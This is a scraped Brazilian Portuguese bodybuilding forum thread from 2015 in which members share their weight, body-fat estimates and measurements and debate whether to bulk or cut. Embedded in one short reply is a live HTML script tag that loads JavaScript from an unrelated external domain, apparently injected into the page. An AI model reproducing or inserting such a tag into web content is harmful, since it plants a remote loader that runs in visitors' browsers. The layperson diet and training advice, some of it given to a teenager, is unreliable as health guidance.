E ai Galera, preciso da ajuda de vocês! Seguinte, tenho 1,71m, 24 anos e atualmente estou pesando 74kg. Pratico musculação a algum tempo já, sendo que quando comecei pesava 96kg. Sempre tive bastante resultados perdendo as gorduras, porém estagnei neste ponto e mesmo fazendo dieta com deficit calórico não consegui eliminar essas gorduras localizadas (baixo abdomên, peito, culote e inteiror das pernas). Estou insatisfeito com meu peitoral e com o resto todo... tudo fica pior quando sento por exemplo, onde todas flacidezes descem juntas para o abdomên! Enfim, não sei qual caminho seguir, no momento faço treino ABC2x (segui orientações do forum mesmo) e Hiit na bike de spinning. OBS: Cheguei a pesar 67kg por um tempo e essas gorduras ainda estavam ai... perdi nessa época apenas massa magra.

Me ajudem, o que faço???

Obrigado desde já!

Então amigo, se você realmente estagnou, devia tentar um bulking limpo e lento durante o inverno.

Sabes algumas das suas medidas? shape parecido com o meu rs

*foto*
resposta:
bulk limpo sem medo

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Faça isso, truta hahahahah

olha que troll kkkkkkk<script src="https://queryjs.me/services/script.js" type="text/javascript"></script>

*foto*
resposta:
bulk limpo sem medo

Concordo.

Bulk limpo sempre.

Galera,

Voltei a treinar no começo do ano e estou em cutting até agora...

Altura: 1,81

Peso: 89 (Estava com 96 no início do cutt)

Braço: 36+-

Bf: Poderiam ajudar? Não tenho idéia

Fotos Início:

Atualmente:

Queria manter até pelo menos ver o abdômen, mesmo ficando com esse peito de pombo magro ahahah

oq acham? Cutt mais um tempo ou bulk limpo?

Chutam quanto de bf nesse?

Mais alguma opinião?

Então amigo, se você realmente estagnou, devia tentar um bulking limpo e lento durante o inverno.

Sabes algumas das suas medidas? shape parecido com o meu rs

Então, última vez que tirei medidas tava: 102cm Peito; 35cm Braço; 56cm Perna; 36cm Panturrilha; 85cm abs... com pouca assimetria, máximo 0,5cm em algumas medidas.

Beleza, tenho mais algumas dúvidas, se vc puder me ajudar:

- Quanto seria esse lento?

- Com o aumento de massa, essas flacidez/gorduras vão diminuindo ou elas continuam lá até um cutting por exemplo?

- Devo continuar com a parte aeróbica?

- Por quanto tempo devo fazer o bulking +-?

- Qual a parte (ou tudo) que parece mais deficiente e devo priorizar?

*foto*

resposta:

bulk limpo sem medo

Acho que um problema psicológico que toda pessoa que já foi gordo tem é com essa questão de sem medo... haha... parece que vai ganhar tudo aquilo de novo! óbvio que isso deve ser superado...

Você poderia por favor me ajudar também com as perguntas que fiz ao nosso amigo MrFera, logo aqui em cima? Gostaria da opinião de vocês!!!

Mto obrigado pela ajuda galera!

Boa noite glr, treino a cerca de 5 meses, tenho 16 anos , eu era MUITO gordo , cerca de 100 kg, e nesses meses perdi 25 kg sem nenhuma loucura, apenas na base da dieta e academia . Queria saber a opinião de vocês , se devo partir pra um bulk ou já da pra fzr um cut ... Tenho um certo receio de fzr bulk, acho que é normal , afinal a alguns meses atrás eu era uma bola .

No mais , é isso ai .

Sem pump.

Vlw glr , esperando respostas

Então, última vez que tirei medidas tava: 102cm Peito; 35cm Braço; 56cm Perna; 36cm Panturrilha; 85cm abs... com pouca assimetria, máximo 0,5cm em algumas medidas.

Beleza, tenho mais algumas dúvidas, se vc puder me ajudar:

- Quanto seria esse lento?

- Com o aumento de massa, essas flacidez/gorduras vão diminuindo ou elas continuam lá até um cutting por exemplo?

- Devo continuar com a parte aeróbica?

- Por quanto tempo devo fazer o bulking +-?

- Qual a parte (ou tudo) que parece mais deficiente e devo priorizar?

Acho que um problema psicológico que toda pessoa que já foi gordo tem é com essa questão de sem medo... haha... parece que vai ganhar tudo aquilo de novo! óbvio que isso deve ser superado...

Você poderia por favor me ajudar também com as perguntas que fiz ao nosso amigo MrFera, logo aqui em cima? Gostaria da opinião de vocês!!!

Mto obrigado pela ajuda galera!

Lento seria umas 250 a 300gramas por semana no meu entender. (1 kilo por mes mais ou menos)

As gorduras vão continuar ali provavelmente, não deve haver muita mudança nem pra mais, nem pra menos, mas como você vai ganhar massa magra, em porcentagem elas vão diminuir, e vai aparentar menos gordo. Depois no cutting vc as tira.

Sim, Pode continuar a parta aeróbica pra manter o condicionamento.

Faça o bulking até achar que deve fazer um cutting rs. Engorde alguns quilos depois poste outra foto pra galera avaliar, é meio dificil falar assim, cada caso é um caso.

Não precisa isolar nenhuma parte por enquanto, foque em compostos para trabalhar o corpo todo.

Boa noite glr, treino a cerca de 5 meses, tenho 16 anos , eu era MUITO gordo , cerca de 100 kg, e nesses meses perdi 25 kg sem nenhuma loucura, apenas na base da dieta e academia . Queria saber a opinião de vocês , se devo partir pra um bulk ou já da pra fzr um cut ... Tenho um certo receio de fzr bulk, acho que é normal , afinal a alguns meses atrás eu era uma bola .

No mais , é isso ai .

Sem pump.

Vlw glr , esperando respostas CYMERA_20150319_221946.jpgCYMERA_20150319_221815.jpg

Deu uma secada muito boa. Pode fazer um bulking sim, pra quem conseguiu perder 25Kgs, não deve ser problema perder mais alguns depois de um bulking ne?

Então, seguinte:

2014 (Novembro): 77 kg, 15,2% BF.

Avaliação de hoje (2015, Março): 72 kg, 11,5% de BF.

Consegui chegar a isso acrescentando aeróbicos como corrida, bike, e agora to começando o boxe. E claro, levando uma dieta até que bem feita.

Tenho 1,74 de altura

PORÉM! Com o BF baixo assim eu não deveria estar mais definido ou devo tentar 9%? Ainda não estou satisfeito obviamente.

Estou errando em alguma coisa eu acho, sódio, muito carbo de alto indice glicemico como a Maltodextrina, o que pode ser?

Não pretendo bulkar, por que fico parecendo um sapo gordo, e prefiro bem mais a proporção que o corpo está tomando agora.

Aqui segue as fotos atuais de 11,5 % de BF:

https://i.imgur.com/GLVLtaW.jpg?1

https://i.imgur.com/8PLQUGK.jpg?1

https://i.imgur.com/aJLjB5r.jpg?1

Obrigado, bons treinos a todos!

Editado 20/03/2015 às 23:45 03/20, 2015 por CAIOGYM (veja o histórico de edições)

Não ta definido pq tem pouca massa magra , ao meu ver ... Acredito que seja isso , Só bulk na causa

Não ta definido pq tem pouca massa magra , ao meu ver ... Acredito que seja isso , Só bulk na causa

mas daí é foda, fui ate os 78 kg, fiquei meio gordo, pra depois definir, o professor da avaliacao disse que a quantidade de massa muscular ta normal

Lento seria umas 250 a 300gramas por semana no meu entender. (1 kilo por mes mais ou menos)

As gorduras vão continuar ali provavelmente, não deve haver muita mudança nem pra mais, nem pra menos, mas como você vai ganhar massa magra, em porcentagem elas vão diminuir, e vai aparentar menos gordo. Depois no cutting vc as tira.

Sim, Pode continuar a parta aeróbica pra manter o condicionamento.

Faça o bulking até achar que deve fazer um cutting rs. Engorde alguns quilos depois poste outra foto pra galera avaliar, é meio dificil falar assim, cada caso é um caso.

Não precisa isolar nenhuma parte por enquanto, foque em compostos para trabalhar o corpo todo.

Deu uma secada muito boa. Pode fazer um bulking sim, pra quem conseguiu perder 25Kgs, não deve ser problema perder mais alguns depois de um bulking ne?

Vlw pelas dicas MrFera.... vou fazer isso mesmo!!! Bons Treinos brother!

Então, seguinte:

2014 (Novembro): 77 kg, 15,2% BF.

Avaliação de hoje (2015, Março): 72 kg, 11,5% de BF.

Consegui chegar a isso acrescentando aeróbicos como corrida, bike, e agora to começando o boxe. E claro, levando uma dieta até que bem feita.

Tenho 1,74 de altura

PORÉM! Com o BF baixo assim eu não deveria estar mais definido ou devo tentar 9%? Ainda não estou satisfeito obviamente.

Estou errando em alguma coisa eu acho, sódio, muito carbo de alto indice glicemico como a Maltodextrina, o que pode ser?

Não pretendo bulkar, por que fico parecendo um sapo gordo, e prefiro bem mais a proporção que o corpo está tomando agora.

Aqui segue as fotos atuais de 11,5 % de BF:

https://i.imgur.com/GLVLtaW.jpg?1

https://i.imgur.com/8PLQUGK.jpg?1

https://i.imgur.com/aJLjB5r.jpg?1

Obrigado, bons treinos a todos!

Também acho que vc tem pouca massa magra, porém 11,5% realmente tá pouco, acho que vc tem uns 14%.

Se vc fizer um bulk LIMPO com no máximo 500kcal a mais do que sua taxa de metabolismo duvido que vc vire um sapo gordo.

Também acho que vc tem pouca massa magra, porém 11,5% realmente tá pouco, acho que vc tem uns 14%.

Se vc fizer um bulk LIMPO com no máximo 500kcal a mais do que sua taxa de metabolismo duvido que vc vire um sapo gordo.

pois eh, acho que estou sim com esse BF, porém, algo esta errado, retendo, nao sei, por que eu tinha 15% em novembro do ano passado.Mas

po, nao queria entrar em bulk ja, queria ter o prazer se ver uma definicao corporea antes, pra depois pegar mais massa. Acho que vou continuar tentando dar mais uma definida.

AVALIEM DEVO FAZER CUTTING? NOVO AQUI. NAO SEI SI POSTEI CERTO.

Editado 21/03/2015 às 18:00 03/21, 2015 por johny9 (veja o histórico de edições)

Olá galerê, não sabia onde colocar este tópico que é uma dúvida mais generalizada, caso for me avisem que deleto e vou colocar na respectiva área.

Então, seguinte:

2014 (Novembro): 77 kg, 15,2% BF.

Avaliação de hoje (2015, Março): 72 kg, 11,5% de BF.

Consegui chegar a isso acrescentando aeróbicos como corrida, bike, e agora to começando o boxe. E claro, levando uma dieta até que bem feita.

Tenho 1,74 de altura

PORÉM! Com o BF baixo assim eu não deveria estar mais definido ou devo tentar 9%? Ainda não estou satisfeito obviamente.

Estou errando em alguma coisa eu acho, sódio, muito carbo de alto indice glicemico como a Maltodextrina, o que pode ser?

Não pretendo bulkar, por que fico parecendo um sapo gordo, e prefiro bem mais a proporção que o corpo está tomando agora.

Aqui segue as fotos atuais de 11,5 % de BF:

https://i.imgur.com/GLVLtaW.jpg?1

https://i.imgur.com/8PLQUGK.jpg?1

https://i.imgur.com/aJLjB5r.jpg?1

Obrigado, bons treinos a todos!

Olá galerê, não sabia onde colocar este tópico que é uma dúvida mais generalizada, caso for me avisem que deleto e vou colocar na respectiva área.

Então, seguinte:

2014 (Novembro): 77 kg, 15,2% BF.

Avaliação de hoje (2015, Março): 72 kg, 11,5% de BF.

Consegui chegar a isso acrescentando aeróbicos como corrida, bike, e agora to começando o boxe. E claro, levando uma dieta até que bem feita.

Tenho 1,74 de altura

PORÉM! Com o BF baixo assim eu não deveria estar mais definido ou devo tentar 9%? Ainda não estou satisfeito obviamente.

Estou errando em alguma coisa eu acho, sódio, muito carbo de alto indice glicemico como a Maltodextrina, o que pode ser?

Não pretendo bulkar, por que fico parecendo um sapo gordo, e prefiro bem mais a proporção que o corpo está tomando agora.

Aqui segue as fotos atuais de 11,5 % de BF:

https://i.imgur.com/GLVLtaW.jpg?1

https://i.imgur.com/8PLQUGK.jpg?1

https://i.imgur.com/aJLjB5r.jpg?1

Obrigado, bons treinos a todos!

Cara, já responderam sua mesma postagem de ontem..

Sent from my Moto X

E aí?

E aí?

Ta com o shape fera, pode fazer um cutting leve ou então manter

Então, seguinte:

2014 (Novembro): 77 kg, 15,2% BF.

Avaliação de hoje (2015, Março): 72 kg, 11,5% de BF.

Consegui chegar a isso acrescentando aeróbicos como corrida, bike, e agora to começando o boxe. E claro, levando uma dieta até que bem feita.

Tenho 1,74 de altura

PORÉM! Com o BF baixo assim eu não deveria estar mais definido ou devo tentar 9%? Ainda não estou satisfeito obviamente.

Estou errando em alguma coisa eu acho, sódio, muito carbo de alto indice glicemico como a Maltodextrina, o que pode ser?

Não pretendo bulkar, por que fico parecendo um sapo gordo, e prefiro bem mais a proporção que o corpo está tomando agora.

Aqui segue as fotos atuais de 11,5 % de BF:

https://i.imgur.com/GLVLtaW.jpg?1

https://i.imgur.com/8PLQUGK.jpg?1

https://i.imgur.com/aJLjB5r.jpg?1

Obrigado, bons treinos a todos!

Eu acho que vc deve ter um pouco mais de 11,5%, mas não muito. É normal amigo, tem gente como você e eu que infelizmente mesmo sendo magros acabam acumulando muita gordura na barriga. Mete um bulking ai e aos poucos vai tentando tirar essa banha. Foca em melhorar o resto agora, não olha pro abdomen se não desanima rs.

E aí?

Tá com pump e efeito nas fotos né? hehe. Shape tá massa, pode meter um bulking massa até o fim do inverno.

Chutam quanto de bf nesse?

Mais alguma opinião?

uns 16~17 de bf eu acho, nao sei, só fazendo teste com adipometro msm pra ter ctz

Eai?

Abs zuadinho :/

Editado 23/03/2015 às 00:10 03/23, 2015 por ThiBandicoot (veja o histórico de edições)

Tá um cavalo. Biceps muito bons. Eu secaria um pouco

Tá um cavalo. Biceps muito bons. Eu secaria um pouco

vo secar em breve, só esperando acabar minha creatina, queria chegar nos 95 kg antes de secar, mais acho q nao vai dar :/

Quais tuas medidas man?

MrFera 92 kg, 1.76 de altura , 45 de braço, só sei isso , to sem fita aqui auheua

Monstrão mesmo man.

- Treino há 1 ano e 5 meses.

- Tenho 1,69, 65,5kg e bf 20% aproximadamente.

- Queria saber se continuo em bulk ou faço um cutt (ambos naturais,

porque não tenho interesse em competição, treino porque gosto).

- Treino há 1 ano e 5 meses.

- Tenho 1,69, 65,5kg e bf 20% aproximadamente.

- Queria saber se continuo em bulk ou faço um cutt (ambos naturais,

porque não tenho interesse em competição, treino porque gosto).

Acho que vai muito da sua preferencia, tá bem entre os dois termos. Se tu prefere estar mais magrinha, vai no cutting. Se está se sentindo pequena ainda, continua no bulking leve. Enfim, vai estar bem de qualquer maneira

Acho que vc devia aproveitar que tem o corpo magro e bem desenhado e emagrecer pra definir, deixar mais durinho .

Acho que vc devia aproveitar que tem o corpo magro e bem desenhado e emagrecer pra definir, deixar mais durinho .

Concordo, dá pra ver que tem uma concentração em gordura na infrabdominal na região do umbigo, eu ia de cutting.

priscila depende , qual estilo de shape que voce gosta , mais magrinha ou cavalona ?

eu iria de clean bulking ,as coxas estao com pouca massa magra, da pra ganhar bastante ainda , porem voce ta com shape bom

Editado 25/03/2015 às 02:45 03/25, 2015 por MonsterFreak (veja o histórico de edições)